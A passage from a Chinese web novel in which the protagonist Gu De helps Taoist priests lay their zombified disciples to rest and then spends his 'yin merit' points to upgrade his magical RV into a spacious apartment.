他的眼神里带着恳求,毕竟是自己从小养大的孩子,哪怕变成了行尸,他也想亲手送他们安息,留个全尸,尽最后一点为师的心意。
古德被千鹤这应激的反应弄得一愣,随即明白了他的顾虑,有些无语地瞥了他一眼。
我是那种不分青红皂白就扬人骨灰的人吗?
第260章 明日再来拜访
他无奈地摇了摇头,改口道:“千鹤道长误会了,我是准备让阿草处理掉那边那些官兵变成的行尸。”
他指了指那些穿着清兵服饰、正漫无目的游荡的低等行尸。
千鹤道长这才松了口气,脸上露出一丝尴尬:“呃……是贫道失态了,古道友莫怪。”
古德不再多言,对阿草示意了一下。
阿草乖巧地点点头,上前一步。她甚至没有动用任何法器,只是静静地站在原地,那双妩媚的眼眸中闪过一丝不易察觉的精神波动。
下一刻,地上散落的那几把千鹤徒弟们的桃木短剑仿佛被无形的丝线操控,骤然悬浮而起,化作数道淡黄色的流光,以惊人的速度精准地射向那些官兵行尸!
“噗!噗!噗!”
利刃入肉的闷响接连传来。
每一把桃木剑都精准无比地穿透了行尸的胸口要害。
那些行尸连惨叫都来不及发出,便直挺挺地倒了下去。
紧接着,阿草屈指一弹,几缕细小的绿色妖火落在尸体上,“轰”一下便燃起了炽白的灵火,迅速将尸体化为灰烬,过程干脆利落,没有半分拖泥带水。
四目道长在一旁看得眼角直跳,眼镜片后的目光闪烁不定,心中暗惊:
“这草妖……好精妙的精神驭物手段!妖力凝练,操控入微,绝非等闲之辈!看来这位古道友,不仅自身修为深不可测,可以比拟大师兄,就连手下的仆从都如此厉害!”
他混迹江湖多年,深知人情世故,虽然满心疑问,但此刻绝不会傻到去盘问古德的根脚。
他打定主意,等回去后私下再细细询问千鹤师弟详情。
另一边,千鹤道长已强忍悲痛和内伤,挣扎着站起。
他接过四目递过来的一把备用桃木剑,脚步蹒跚却坚定地走向那四个已变成行尸,正无意识嘶吼的徒弟。
每走到一个徒弟面前,他都会红着眼圈,低声说一句:“徒弟,上路了,莫怪师父……”
然后咬牙将桃木剑精准地刺入其心窝。
那四个小道士所化的行尸实力低微,几乎毫无反抗之力,中剑后便僵立不动,眼中残存的凶光渐渐消散,缓缓倒地。
四目道长也上前帮忙,和一休大师一起,将四具徒弟的遗体并排摆好,神色庄重地取出往生符,贴于其额前,然后引燃。
火焰升腾,吞噬了年轻的躯壳,也带走了最后的痛苦与执念。
“师弟,别太难过了。”
四目道长看着跳动的火焰,低声安慰千鹤,“东、南、西、北他们是为了正道而死,魂魄自有祖师接引,地府也会看在我茅山的面子上,给他们安排个好人家投胎,下辈子说不定能享福呢。”
千鹤道长默默地点了点头,望着火焰,泪水无声流淌。
道理他都懂,但亲手送走自己视如己出的徒弟,这种剜心之痛,非亲身经历难以体会。
待一切处理完毕,现场只剩下几堆灰烬和弥漫的焦糊味。
阿草默默退回到古德身后,垂手侍立,又恢复了那副乖巧女仆的模样,仿佛刚才那精准狠辣的出手与她无关。
四目道长处理完手头事宜,走到古德面前,看了看天色,已是后半夜。
他诚恳地向古德发出邀请:“古道友,如今天色已晚,山林露寒,不如随贫道回贫道道场歇息如何?贫道道场虽简陋,但热水热饭还是有的,也让贫道略尽地主之谊,
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好好感谢道友的救命之恩。”
古德闻言,脑海里立刻浮现出电影里四目那座偏僻简陋、说不定还漏风的道场。
他下意识地瞥了一眼身旁那座现代化、设施齐全、温暖舒适的“移动堡垒”,这对比实在太强烈了。
他毫不犹豫地婉拒道:“多谢四目道友好意!不过不必麻烦了,我自有歇脚之处。”
他指了指旁边的白色房车,“我在这’里凑合一夜就好,也方便。明日一早,我再登门拜访,到时候还望道长不要嫌我打扰清修才是。”
四目道长看了看那造型奇特的铁块,虽然完全不明白这东西怎么能住人,但见古德态度坚决,也不好强求。
他连忙正色道:“古道友这是哪里话!你是我师弟的救命恩人,就是我茅山派的贵客!莫说明日来访,便是长住在此,贫道也欢迎之至!届时定当扫榻相迎!”
这话说得漂亮又诚恳,充分展现了四目道长混迹江湖的圆滑。
古德哈哈一笑,对四目道长的观感好了不少:“好!有四目道友这句话,那我明日必当前来叨扰!”
话已至此,四目道长也不再客套,再次拱手道别,然后小心地搀扶起身心俱疲的千鹤道长。
一休大师也向古德打了个稽首,道了声“古施主,明日再会”,便与四目、千鹤一同,步履略显沉重地消失在密林的黑暗中。
古德目送三人离去,直到他们的身影完全被夜色吞没,这才转身,带着阿草,走回那辆在月光下泛着柔和白光的房车。
他此刻心中充满了对未知任务和新功能的好奇,有些迫不及待地想独处一下,好好研究一番这个升级后的诸天滴滴系统了。
第261章 系统,咱们聊聊
古德拉开侧车门,踏入房车内部。
房车内与外界的血腥和深夜寒意截然不同,车内温暖、明亮、整洁,空气中弥漫着淡淡的、由净化系统产生的清新气味。
柔和的暖黄色灯光从天花板洒下,照亮了虽略显紧凑但布局合理的起居空间。
他脱下沾染了尘土和些许污渍的外套,随手挂在门边的衣钩上,长长地舒了一口气,将自己疲惫的身体摔进了那张还算舒适的单人床上。
床垫发出轻微的吱呀声,承托着他,古德紧绷的神经缓缓松弛下来。
经历了一场恶战和突如其来的跨界传送,即便是以他如今的体质,也感到了一丝精神上的倦怠。
他需要一点时间来消化信息,规划下一步。
“老板,你饿不饿?我煮碗面给你吃呀?”
阿草的声音从旁边传来,带着关切。
她已经熟练地打开了那个镶嵌在橱柜里的便携式电磁炉,正从一个保鲜柜里拿出鸡蛋、火腿肠和一把嫩绿的青菜。
锅里的水开始冒出细小的气泡。
“嗯,弄清淡点就好,有点累了。”
古德应了一声,目光却没有聚焦在阿草那边,而是心神沟通那个刚刚完成升级的系统。
他心念一动。
“系统,出来聊聊。你之前说接了个订单才把我传送到这9527世界。订单内容是什么?具体要**嘛?总不能让我像个无头苍蝇一样在这里乱撞吧?”
短暂的沉默后,系统那熟悉的不带感情电子提示音响起:
“叮。查询订单信息。当前位面编号:9527。订单类型:救世。订单概要:介入并扭转本位面将发生的灭世危机。订单发布方9527。备注:宿主加油,拯救世界的重任就交给你了!”
古德:“???”
他猛地从床上坐了起来,眼睛瞪得溜圆,差点以为自己听错了或者系统出BUG了。
“等等!你说什么?拯救世界?!”
古德的声音在安静的房车里显得有些突兀,带着难以置信的惊愕。
“系统你特木是不是短路了?还是我穿越的方式不对?哪有**一上来就接拯救世界这种任务的?!新手任务呢?循序渐进懂不懂?
你好歹先让我送几个快递、抓几个小鬼适应一下啊!狗系统你给我解释清楚!这什么坑爹订单?!”
他对着系统界面就是一通输出,语气充满了被坑的愤懑和荒谬感。
这跟他预想的完全不一样!
他还以为顶多是帮忙处理个棘手的鬼王妖王或者保护某某某,谁知道直接跳到终极关卡了!
正在切火腿的阿草被古德这突如其来的激动吓了一跳,手一抖,正准备往锅里放的盐罐子倾斜角度过大,一小撮洁白的盐粒“唰”地一下撒进了翻滚的清汤里,明显超出了清淡的标准。
她吐了吐舌头,偷偷看了古德一眼,没敢吱声,默默地把火调小了一点。
似乎是感应到古德情绪极度不稳定,系统居然罕见地又补充了一句,语气依旧平淡,但内容却让他更加无语:
“宿主请冷静。根据系统评估,宿主已具备处理高难度订单的潜力。宿主在上一位面的行动,客观上已成功阻止了怪谈协会的灭世级阴谋,间接拯救了该世界。拥有相关成功经验。系统相信宿主可以再次胜任。请积极面对挑战。”
古德:“……”
“你……你这是偷换概念!”
古德憋了半天,只能无力地骂了一句,这怕是什么牛马系统吧!
还能评估订单。
不过系统这么说好像也没毛病?
在上个世界,他确实阴差阳错地把那个企图吞噬世界的大黑佛母化身给剁了……
但那能一样吗!
那是被动卷入,而且有谢潮周星星一群队友,还有提前布下的大阵!
现在呢?人生地不熟,就带了个做饭丫鬟阿草,对手是谁、在哪、要干嘛一概不知!
这难度系数简直是几何级上升!
“系统?系统?狗系统?”
系统没有再回应。
任凭古德再怎么呼唤,它都像死机了一样,沉寂下去。
他无奈地揉了揉发胀的太阳穴,强迫自己冷静下来,开始飞速思索。
系统虽然坑,但应该?也许?大概?不会发布完全无法完成的任务吧。
它提到救世,结合这个世界有《灵魂摆渡》的元素……古德脑中灵光一闪。
在《灵魂摆渡》的原著剧情里,似乎确实存在过灭世危机……难道订单指的是这个?
可时间线好像不太对。
系统不是应该把他传送到了危机爆发前的某个节点?
现在都早了一百年吧!
越想越乱,越想越觉得头疼。
最后,古德只能强迫自己停止这种无意义的猜测。
“唉,走一步看一步吧。”
古德叹了口气,最终只能接受这个离谱的现实。
反正天塌下来有高个子顶着……
哦不对,现在他自己好像就是那个高个子了。
但至少,他还有退路。
他心念一动,目光落在了这辆房车上。
这辆跟着他穿越过来的老伙计,不仅仅是个交通工具,它内部有一个受到系统规则保护的安全空间。
系统第二次升级已经把车内升级成无敌空间了,现在也保留下来,如果这个世界真的到了要毁灭的那一步.....大不了直接躲车内不出去就好了!
想到这里,他心情稍微平复了一些。
他摇摇头,暂时抛开这些沉重的思绪。
当务之急,还是先顾好眼前,提升自己,以及这辆房车的实力。
“系统,打开我的属性面板。”
他在心中默念。
半透明的淡蓝色光屏悄无声息地在他视野前方展开,只有他能看见。
【姓名:古德】
【体质:9/10】
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(气血充盈,耐力超常)
【魅力:9/10】(气质独特,易获信任)
【精神:11/∞】(灵觉敏锐,神识初成)
【法力:23/∞】(真气磅礴,已臻**境)
【当前可用公里点数:7200点】
【当前可用阴德值:23000点】
【核心技能:黄庭内景玉经LV4、金光咒LV3、炁体源流LV3、**LV3、梅花易数LV2、炼器真解LV3……(略)】
目光扫过阴德值和公里点数这两项。
古德心里快速盘算起来:
“阴德还有两万三。按照新规则,开车烧阴德,百公里才烧1点,这两万三够我跑两百三十万公里了,听起来很耐用。
但公里点数获取变难了,十公里才给1点,跑完这两百三十万公里,也才能赚二十三万点……嗯?等等,好像哪里不对?跑完两百三十万公里,要多久?”
他皱了皱眉,感觉这算法有点问题。
而且阴德值不仅仅是用来当燃油!
而且,实际情况更复杂。
阴德值不是只用来“加油”的。
想要车跑得快、跑得安全、跑得舒服,得升级车上的零件。
现在的房车,最高时速只有120公里,真要靠它长途跋涉赚公里点数,这点性能可不够看。
“要是能有人帮我开车刷里程就好了……”
古德脑子里冒出一个偷懒的念头。
他自己开车累,而且总要处理事件,不能一直当司机。
他的目光瞥向正在小心翼翼把煮好的面盛到碗里的阿草。
“系统,”他试探着在心里问,“如果让阿草来驾驶这辆房车行驶,产生的里程,算我的吗?”
“叮。”
系统这次回应得很快,似乎对这类规则性问题很乐意解答。
“可以。系统认定之‘仆从’或‘契约伙伴’,在宿主本人处于房车内部空间的前提下,其驾驶行为所产生的有效里程,可计入宿主里程累积。”
古德眉毛挑了一下。
系统居然没有继续装死,而且这个想法居然真的可以?
虽然有限制,就是他本人必须在车上,但总归是个解放双手的好办法。
至少以后长途转移的时候,不用自己一直握着方向盘了。
他仿佛看到了未来阿草在前面开车,自己在后面舒舒服服躺着休息的画面,嘴角不由得勾起一丝笑意,为找到新的牛马而高兴。
不过,这些都是后话。
现在关键是,把这辆保命房车好好升级一下。
工欲善其事,必先利其器。
万一真要拯救世界,没个好座驾怎么行?
“系统,打开载具强化商城。”
古德呼唤系统。
光幕切换,琳琅满目的升级选项浮现出来,每个选项都配有动态的三维模型和详细的文字说明,看得古德眼花缭乱,口水差点流下来。
第262章 升级房车零配件
第一个图标是一台造型流线、仿佛蕴含着澎湃力量的发动机三维图。
【肾动力发动机(初级版)】
告别老牛拉破车的时代!百公里加速媲美跑车,最高稳定时速轻松突破300km/h!
让你体验在公路上开高铁的错觉,是您高效赚取公里点数的可靠搭档。特别提示:速度上去了,车身强度和您的肾最好也能跟上。
升级效果:大幅提升车辆动力、最高时速及加速性能。
升级需要阴德值:5000点。
“三百公里时速……”古德咽了口唾沫。
他现在这车,要是能上高速跑个一百二都要喘,三百是什么概念?
紧接着第二个图标,是一幅车身结构示意图,闪烁着金属般的坚韧光泽。
【金刚不坏车身(带玻璃版)】
见鬼撞鬼,见树撞树,见山……建议还是绕一下。顶级防护,让您的座驾固若金汤。
视野盲区,我以为是减速带,你去和保险讲吧,我们都在用力的活着!你怎么连在我身上留下划痕的资格都没有?(玻璃同样享受同级防护,请放心。)
升级效果:极大提升车辆整体结构强度、防撞抗冲击能力、耐腐蚀性,并对灵体冲撞、阴气侵蚀有极强抗性,自动修复撞击痕迹。车窗玻璃升级为同强度复合材质。
升级需要阴德值:5000点。
“嘶……这个也不错,跟发动机完美匹配!”古德激动不已。
第三个图标是一张看起来就无比柔软舒适的大床,仿佛能透过屏幕感受到它的弹性。
【超舒适记忆海绵大床(基础款)】
缓解您一天的疲惫,安抚您受伤的心灵与身体。具备微弱的灵气汇聚与伤势恢复辅助效果,可自主调节软硬度、温度,并提供多种模式的按摩功能。
是的,您可以躺着,让床自己动。实乃旅途中的最佳休息伴侣。
升级效果:替换原有简陋床铺,极大提升休息质量,小幅加速法力自然恢复速度与轻伤愈合速度。
升级需要阴德值:2000点。
古德摸了摸自己身下有些硬的床垫,“这个也很实用!以后受伤或者法力耗尽,就不用苦哈哈打坐了。”
第四个图标则是一个空间不断拓展变化的奇幻画面。
【豪华内空间拓展模块(基础型)】:
还在为车内转身都困难而烦恼吗?空间拓展技术,解决您的窘迫!升级后,车内稳定空间将拓展至约180平方米,可自由规划为三室一厅两卫一厨的格局(模板仅供参考,支持自定义调整)。
搭配基础款全息环境模拟与家居娱乐设备,让您的房车真正成为一个移动的舒适小家。实乃长期旅行、宅车必备之选。
升级效果:极大拓展车内可使用面积,空间稳定,不易受外界干扰。提供基础的空间布局自定义功能及环境模拟系统。
升级需要阴德值:10000点。
“一百八十平……三室一厅……”古德的眼睛彻底直了。
现在这逼仄的空间,和那个描述比起来,简直是天壤之别。
不仅能住得舒服,更重要的是,空间大了,能存放更多的物资、甚至搞个练功房都可以!这对长期在外行动,需要赚公里点数的古德来说,太重要了!
下面的列表还有很多其他配件古德就略微浏览一下。(看到这里的靓仔靓女,你们觉得还有什么有意思的房车配件可以留言一下,让我抄一下~)
这四样古德都非常心动。
他看了看自己的阴德余额:23000点。
他迅速计算了一下这四项核心升级的总花费:5000(发动机)+5000(车身)+2000(大床)+10000(空间)=22000点阴德值。
“刚好把我的老底掏空,就剩1000点备用……”
古德嘴角抽搐了一下,感觉系统这定价简直像是掐着他的钱包算好的。
“真是奸商……不过,这些升级太诱人了,而且对后续行动至关重要。阴德没了可以再赚,命和舒适度可是自己的!”
他纠结了大概三秒钟。
看着那“肾动力”的澎湃,“金刚不坏”的踏实,“超舒适大床”的诱惑,以及“豪华空间”的未来,终于一咬牙,下定了决心。
“系统!”
他在心中郑重其事地喊道,“给我升级——肾动力发动机,金刚不坏车身带玻璃版,超舒适记忆海绵大床,还有豪华内空间拓展模块!就这四样,马上!”
“叮。”系统的提示音响起,依旧是那么平静无波。
“叮——指令确认。开始载具全面升级。扣除阴德值22000点。当前剩余阴德值:1000点。”
“确认宿主指令。扣除阴德值22000点。开始执行升级
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程序:肾动力发动机(初级版)、金刚不坏车身(带玻璃版)、超舒适记忆海绵大床(基础款)、豪华内空间拓展模块(基础型)。”
“升级预计耗时:15分钟。升级期间,车辆功能暂时封闭,请宿主及乘员保持静止,勿离开当前座位或床位。”
声音落下的瞬间,古德感觉到身下的床铺微微震动起来。
不是那种颠簸的震动,而是一种低沉、稳定、仿佛源自车辆最核心处的嗡鸣。
同时,淡淡的蓝色光晕,从车厢的墙壁、地板、天花板内部渗透出来,如同呼吸般明灭闪烁。
车窗外的光影似乎被一层无形的力量隔绝、扭曲,显得有些不真实。
阿草刚刚把那碗可能咸得过分的面端到小桌子上,就被这突如其来的变化吓了一跳,手一抖,面汤又洒出来一些。
她惊慌地看向古德:“老板!车子……车子怎么了?”
“没事,阿草,别慌。”
古德虽然也是第一次在车内经历系统升级,但依旧着镇定。
“车子在在自我升级改造。你坐好别动,一会儿就好。”
阿草一脸疑惑,但还是听话地缩回了餐桌旁的椅子上,双手紧紧抓住餐桌,眼睛瞪得大大的,看着车厢里流淌的奇异光晕。
古德则重新躺下,闭上眼睛,仔细感受着变化。
那低沉的嗡鸣仿佛带着某种韵律,像是在重新塑造这辆车的骨骼与血肉。
他隐约能“听”到金属结构被强化、重组时细微的铿锵声。
身下的床铺似乎在缓慢地改变着形状和质地,变得更加贴合他的身体曲线,一种温和的暖意和令人放松的波动从床垫深处传来。
最奇妙的是空间感。
明明闭着眼,但他却隐约察觉到周围那原本狭窄车厢的边界,正在变得模糊、软化,然后如同吹气球一般,向着四面八方悄然拓展。
虽然身体没有移动,但那种闭塞压抑的感觉正在迅速消退,取而代之的是一种空旷和自由的预感和。
十五分钟,说长不长,说短不短。
在阿草度秒如年的紧张和古德混杂着期待与肉疼的感知中,时间慢慢流逝。
终于,那低沉的嗡鸣声如同潮水般退去,车厢内流淌的蓝色光晕也迅速黯淡、消失。
一切都恢复了平静。
不,并不是恢复原状。
古德睁开了眼睛。
第263章 升级后房车的神奇变化
古德是被一种前所未有的舒适感从沉睡中缓缓唤醒的。
这不是普通的睡眠,而是一种近乎休眠的、高质量的深度修复。
没有梦境干扰,意识如同沉入温暖的海底,每一个细胞都在贪婪地吸收着身下床铺传来的温润能量,修复着连日来的疲惫与精神损耗。
当他的意识如同饱满的泡沫般自然上浮,回归清醒时,一种神完气足、精力充沛的感觉充斥全身。
他缓缓睁开眼,映入眼帘的景象让他微微一愣。
头顶不再是记忆中那略显廉价、带有细微纹理的米白色塑料车顶板,而是一片平滑的、略带哑光质感的浅米色天花板,材质看起来像是某种高级环保涂料,触感想必极佳。
天花板边缘镶嵌着简约的石膏阴角线,增添了几分设计感。
一盏造型极其简洁、几乎是隐形式嵌入的方形吸顶灯,正散发着柔和而均匀的暖白色光芒,光线恰到好处,毫不刺眼。
这显然不是他昨晚睡着前那个房车的内部空间。
这分明是一间装修相当有品味的现代卧室。
他愣了两秒,才猛地想起昨晚……不,是今天凌晨,他花光了几乎所有阴德,给房车来了个超级大升级。
他没有立刻起身,而是先静静地躺着,好奇地打量起这个属于他的新主卧。
房间还算特别宽敞,布局合理,面积大概有二十平米。
他身下的床铺也明显升级了,从之前的单人床变成了一张标准双人床,床架看起来是实木材质,床头则是柔软的浅灰色皮质软包,靠着同样色调的墙壁,显得沉稳舒适。
床品是质感很好的浅灰色棉麻材质,亲肤透气。
床边放置着一个同系列的床头柜,台面是光滑的深色木纹,上面空无一物。
对面墙壁是一排做到顶的嵌入式衣柜,柜门是淡雅的原木色,搭配着简洁的黑色长条拉手。
地面铺着浅胡桃木色的复合地板,光脚踩上去应该很舒服。
一扇看起来厚实隔音不错的门,关着,门把手是哑光金属的。
整个空间的色调高度统一,米白、浅灰、原木色,点缀以黑色金属线条,风格是现代极简主义,没有一丝多余的装饰,却处处透着一种低调的精致感和舒适感。
这已经完全超越了房车卧室的范畴,更像是一间精品酒店的高级套房或者一个很有格调的单身公寓。
“这阴德花得真值!”
古德心里一种巨大的满足感油然而生。
他坐起身,舒展了一下筋骨,关节发出轻微的噼啪声,但浑身舒畅,毫无僵滞之感。
接着他注意到床头柜上有一个小小的、扁平的触摸面板。
面板此时处于待机状态,呈现深灰色。
他伸出手指轻轻一点,面板立刻亮起,浮现出几个图标和文字选项:【灯光调节】、【窗帘控制】、【空调温湿度】、【呼叫阿草】、【空间布局调整(主卧)】。
“哦?还能调整布局?”
古德来了兴趣。
他先尝试点击【灯光调节】,界面弹出几个模式:阅读、休息、明亮、夜灯。
他选了“休息”,卧室的主灯光线立刻柔和下来,变成了更适合放松的昏黄色调,角落的隐藏灯带则发出微弱的暖光,氛围瞬间变得慵懒。
他又点了一下【窗帘控制】。
靠近床铺一侧的“墙壁”上,一道与墙体完美融合的电动百叶帘无声地向上卷起,露出了后面一面巨大的“窗户”!
窗外,是晨曦微露下的山林景象,依稀能辨认出昨晚激战的那片空地,以及更远处朦胧的山峦。
就是不知道这玻璃是不是单向的,从里面看出去很清楚,外面不知道能不能看不到车内。
“这视野……绝了!”古德赞叹。
最后,他好奇地点开了【空间布局调整(主卧)】。
面板上出现了一个简单的卧室三维模型,可以拖动床的位置(靠左、居中、靠右),选择衣柜的开门方式(平开、推拉、隐藏式),甚至还能微调墙壁的颜色(提供了几种柔和的莫兰迪色系选项)和地板材质。
古德没有真的去改动,只是惊叹于这随心所欲的控制力。
他掀开被子,赤脚踩在地板上,触感果然温润细腻,完全没有普通地板的冰凉。
走到那扇实木门前,握住冰凉的金属把手,轻轻一拧,拉开。
门外的景象,再次让他感到了震撼。
这是一个客厅。
一个真正的、宽敞、明亮、充满生活气息的客厅!
面积目测超过二十平方米,层高也比卧室略高,丝毫没有普通车辆内部的压抑感。
一套看起来就非常舒适的L型浅灰色绒面布艺沙发靠墙摆放,沙发宽大而柔软,足以让人陷进去。
沙发前是一张长方形、带着天然木材纹理的实木茶几,边缘
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圆润。
沙发对面,墙壁上挂着一台目测有60寸左右的超薄液晶电视,屏幕黑着,下面是一个悬空的白色电视柜,线条利落。
客厅一角摆放着几盆绿意盎然的龟背竹和琴叶榕,叶片油亮,生机勃勃,给这个现代空间注入了自然气息。
最令人惊叹的是另一侧,那是一整面墙的落地窗!
比卧室内的窗户视野更佳,近乎180度的广阔视野。
此刻,百叶帘完全升起,清晨金色的阳光竟毫无阻碍地洒**内,将整个客厅照得明亮而温暖,仿佛置身于一个山景别墅的客厅里。
空调系统无声地运行着,送出温度适宜的新风。
整体的装修风格与主卧一脉相承,简约、现代、温馨,品质感十足。
而阿草,此刻正背对着卧室门,僵直地坐在那张L型沙发的正中央。
她双手规规矩矩地放在并拢的膝盖上,背影写满了“我是谁?我在哪?发生了什么?”的巨大茫然和不知所措,正对着那面巨大的落地窗和窗外完全陌生的山林晨景发呆,像一尊被瞬间挪移到异次元的雕塑。
古德看着她的背影,忍不住觉得有些好笑,轻轻咳嗽了一声。
“呀!”
阿草像是被针扎了一样,猛地从沙发上弹了起来,惊慌失措地转身。
看到站在卧室门口、一脸笑意的古德,她仿佛找到了主心骨,又像是受到了更大的惊吓,脸上的表情精彩极了,混合着震惊、迷茫、不可思议,还有一丝找到依靠的急切。
“老、老板!”
阿草的声音带着颤音,她小步快跑过来,在离古德一米远的地方又刹住车,眼神不住地往客厅各处瞟,手都不知道该往哪里放。
“这……这到底是怎么回事?天亮了我就醒过来,发现自己不在那张小椅子上,而是在这个……这个软乎乎的沙发上!这大屋子,这落地窗,这地板,还有那些绿油油的草……这、这还是咱们的车吗?”
她语无伦次,试图用自己有限的认知来描述这超现实的场景,这是她成魔后,都没有遇到过的事情。
古德被她的反应逗乐了,走到沙发边,舒服地坐了下去,身体陷入柔软的靠垫,试了试弹性,满意地点点头。
他指了指旁边的单人位:“淡定点,别整的跟装修队一样。坐下慢慢说。”
阿草在沙发上坐下,眼巴巴地看着古德等他解释。
第264章 阴德值还是不够用啊
“昨晚不是跟你说了嘛,车子在升级改造。”
看到阿草坐下后,古德用轻松的口气解释道。
他理解阿草的震惊,毕竟这种空间技术的跳跃,对一个没经历过后现代洗礼的精怪来说,冲击力太大了。
“现在升级完成了,就变成这样了。怎么样,这移动的三室一厅两卫一厨,精装修,带全景天窗,不比我们之前那个小车厢舒服多了?”
“好!当然好!这简直是神仙洞府!”
阿草忙不迭地点头,脸上的困惑却一点没少,“就是……太突然了,像做梦一样。而且,老板,我刚才壮着胆子去推了前面那扇门.....”
她指了指客厅另一端那扇看起来更厚实与整体装修融为一体的门。
“你猜怎么着?门外面,居然还是开车的地方!驾驶座、方向盘都在!虽然也变得亮晶晶的,高级了很多,但确确实实是开车的地儿!可……可我们后面这客厅、卧室,加起来比前面那个开车的小屋子,大了十倍都不止吧?
这……这到底是怎么塞进去的?老板,您是不是还会那种……传说中佛陀的一花一世界,或者道祖的袖里乾坤的大神通啊?”
她用手比划着,小脸上满是敬畏和无法理解。
古德被她这比喻逗笑了,摆了摆手:
“没那么玄乎,你就当是……嗯,一种特别的空间折叠技术,或者仙家炼制的洞天法宝原理好了。具体解释起来太复杂,你只要知道,在这里面,我们很安全,很舒服,就行了。”
他也懒得深入解释,毕竟这是系统的伟力。
“好了,别琢磨了,舒服就行。来,带你参观一下咱们的新家,熟悉熟悉环境。”
古德站起身,阿草也赶紧跟着站起来。
他们所在的是客厅,也是整个空间的核心活动区。
客厅的一侧,也就是古德出来的那边,并列着两扇款式一样的门。
古德推开自己刚才出来的那扇:“这是我的主卧,带独立卫浴。”
他让阿草探头看了一眼。
主卧内的卫生间是干湿分离设计,有智能马桶、淋浴花洒,甚至还有一个令人惊喜的小型按摩浴缸,洗手台、镜子、储物柜一应俱全,光洁如新。
然后他推开旁边那扇门:“这间是你的卧室。”
阿草迟疑地走进去。
这是一个比主卧稍小一些,但同样精致温馨的房间。
有一张舒适的单人床,一个兼具书桌和床头柜功能的小台子,一个嵌入式的衣柜。
风格更偏向简洁实用,但也配备了同样的控制面板。
“谢谢老板!”
阿草对于居住条件要求不高,这个房间已经比她过去在香江住的任何地方都要好上无数倍了,脸上露出欣喜的笑容。
参观完卧室区,古德带着阿草退回到客厅,走向另一头。
这里是一个开放式的厨房兼用餐区。
厨房贴着浅灰色的哑光瓷砖,一体式的白色橱柜看起来清爽整洁,台面是类似石英石的材质,耐磨易清理。
上面嵌着两个电磁炉灶眼,一个不锈钢大单槽水槽。
橱柜下方集成了洗碗机、蒸烤箱,还有一个对开门的大容量冰箱。
打开橱柜,里面碗碟、杯具、锅具一应俱全,甚至连调味料架上都摆放着未开封的油盐酱醋等基础调料,仿佛是刚刚交付的精装新房。
厨房旁边连接着一个小巧的用餐区,摆放着一张原木色的四人方桌和配套的椅子,足够日常使用。
在厨房的侧面,还有两扇门。
一扇打开是公共卫生间,同样是干湿分离,干净整洁,方便客人使用。
另一扇门后,目前还是一个空置的房间,大概二十几平米,古德打算把它改造成一个静室或者练功房。
最后,古德带着阿草走到客厅另一端那扇厚实的门前。
他握住门把手,轻轻拉开。
门后,是熟悉的驾驶舱景象,但同样升级焕然一新。
椅子还是升级过的高级按摩椅,仪表盘变成了全液晶显示,充满科技感;方向盘握感舒适;视野极其开阔。
最关键的是,从驾驶舱回头看,只能看到这扇关闭的后与驾驶舱内饰完美融合的大门,完全想象不到门后竟然隐藏着一个面积一百八十平,设施齐全的精装住宅空间!
驾驶舱左右两侧的传统车门也依然存在,是这辆房车对外的正常出入口。
“看,这就是咱们的新座驾。”
古德拍了拍阿草的肩膀,得意地笑道,“以后闯荡诸天,就靠它了!”
阿草眼中充满了对古德的崇拜和惊叹。
古德准备去从外部再去确认一下这辆脱胎换骨的房车。
他拉开升级后带有防夹功能的左侧主驾驶门,一步踏出了房车。
清晨林间的湿润空气夹杂着草木清香扑面而来,与车内恒温恒湿的舒适环境形成鲜明对比。
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>他绕着这辆白色巨兽缓缓走了一圈,仔细审视。
从外面看,房车的基本轮廓和尺寸似乎没有发生天翻地覆的变化,依旧是那副方方正正、略显笨重但很结实的厢式车模样。
但若仔细观察,便能发现许多不同寻常之处。
车身的白色漆面似乎更加莹润,在初升的阳光下泛着一种极细微的、类似陶瓷的光泽,用手触摸上去,触感冰凉而坚实,完全不像普通金属,反而更像某种高性能复合材料。
原先一些接缝和棱角处,现在看起来更加圆滑流畅,整体感更强,仿佛是一体成型铸造出来的。
他特意走到侧面,大概是那面巨大的景观窗玻璃位置去看。
从外面看也只是普通的白色车身,根本无法窥见车内丝毫景象。
他试着用手敲了敲,传来的反馈沉重而沉闷,显示出惊人的厚度和强度。
车轮毂的造型也更加粗壮有力,轮胎的胎壁厚实,花纹深邃,给人一种能征服任何地形的感觉。
“不错,低调奢华有内涵,关键是从外面根本看不出里面的乾坤。”古德满意地点点头。
这样最好,避免了许多不必要的麻烦。
谁会想到这个看似普通的大铁盒子里面,竟然藏着一个精装修的豪华套房呢?
日常进出,通过驾驶室两侧的车门即可,完美掩饰了内部巨大的空间异常。
他重新拉开车门回到驾驶室,然后穿过隔门,再次回到了那个宽敞明亮、阳光满溢的客厅。
巨大的反差让他每次穿越这扇门都有种奇妙的不真实感。
“看明白了吧?”
古德对亦步亦趋跟着他、脸上还带着些许梦幻感的阿草说道,语气带着几分炫耀。
“咱们现在,等于套着一个能正常跑、看起来平平无奇的车壳,里面却藏着个五脏俱全、能拎包入住的豪华套房。
左右车门就是正常进出通道。在这个时代,以后在旁人眼里,咱们就是两个住在移动铁皮屋里的怪人,谁也猜不到这里面别有洞天。”
想到这里,古德摸着下巴,眼中闪过一丝精光。
他在系统商城里还看到过一个【千幻伪装外观】的选配项,价值5000点阴德,可以让房车在外观上模拟成各种不同的样子甚至其他物体,那才是真正的潜伏神器。
“阴德值还是不够用啊,得想办法多赚点。”
他暗自琢磨,赚阴德的动力更足了。
第265章 先定个小目标(日常生活篇)
旁边的阿草双眼放光地看着古德,脑袋点得像小鸡啄米,嘴里不住地喃喃道:
“太厉害了……真的太神奇了……老板,你简直就是我的神!”
她对古德的崇拜之情,此刻已然达到了顶峰,犹如滔滔江水连绵不绝。
古德笑了笑,走到那面巨大的全景“落地窗”前,双臂抱胸,眺望着窗外。
清晨的阳光洒在层峦叠翠的山林上,镀上了一层金边,空气清新,景色宜人。
站在这个温暖、舒适、安全、现代化的家里,看着窗外的原始风光,一种强烈的满足感和掌控感油然而生。
这阴德花得真值!
生存条件和舒适度直接拉满,以后就不用担心天为被地为席、风餐露宿的日子,这辆房车就是他最可靠的移动堡垒和家。
他抬手看了看墙上的钟表,时间已经指向上午八点多。
想起昨晚与四目道长的约定,今天还得去拜访一下,正好打听打听这个世界的情况,特别是哪里闹鬼比较厉害。
毕竟,拯救世界听起来太宏大,现在也摸不着头脑。
眼下更实在的是多赚点阴德,进一步强化自身和座驾。
“阿草,”古德转身,对还在好奇摸摸这里、看看那里的阿草吩咐道。
“别玩了,以后有的是时间。先去弄点早餐,简单点就行。然后,从柜子里挑两瓶好酒,包装一下,一会儿我们出门,去拜访一下四目道长。”
“好嘞,老板!”
